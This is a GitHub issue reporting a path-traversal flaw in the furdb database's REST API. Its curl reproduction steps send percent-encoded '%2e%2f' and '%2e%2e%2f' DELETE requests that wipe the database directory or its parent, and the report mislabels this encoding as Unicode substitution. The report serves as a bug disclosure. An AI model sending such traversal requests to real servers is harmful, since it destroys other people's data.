madhavan-raja / furdb

A minimal Database Management System that prioritizes storage space usage and fast lookup/query times.
https://crates.io/crates/furdb
GNU General Public License v3.0
13 stars 0 forks source link

Unicode vulnerability in REST API: delete database. #4

Closed NetSecRussia closed 5 months ago

NetSecRussia commented 5 months ago

Describe the bug It is possible to make FurDB delete the database directory or its parent using REST API and Unicode substitution in the URL.

To Reproduce

  1. Start furdb
  2. Create db1 using REST API curl -s -X POST localhost:5678/db1
  3. Create db2 using REST API curl -s -X POST localhost:5678/db2
  4. Make REST delete db request curl -s -X DELETE localhost:5678/%2e%2f
  5. Response {"result":"error","statusCode":500,"status":"Internal Server Error","response":null}
  6. All databases have been deleted.

The request DELETE localhost:5678/%2e%2e%2f will result in the deletion of the parent directory.

Expected behavior Unicode attack rejected.

Current behavior Unicode substitution %2e -> . and %2f -> / makes it possible to delete the current directory (using .) or the parent directory (using ..).

Reason

  1. Unicode attack.
  2. Inconsistent database_id validation.